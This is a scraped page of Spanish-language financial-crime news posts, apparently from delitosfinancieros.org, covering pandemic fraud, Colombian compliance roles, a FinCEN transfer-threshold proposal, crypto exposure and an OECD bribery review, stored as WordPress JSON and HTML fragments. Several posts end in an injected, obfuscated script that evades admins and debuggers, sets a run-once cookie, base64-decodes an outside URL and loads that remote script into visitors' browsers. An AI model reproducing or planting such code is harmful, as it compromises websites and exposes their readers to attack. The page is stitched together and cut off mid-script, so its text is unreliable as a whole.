medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new 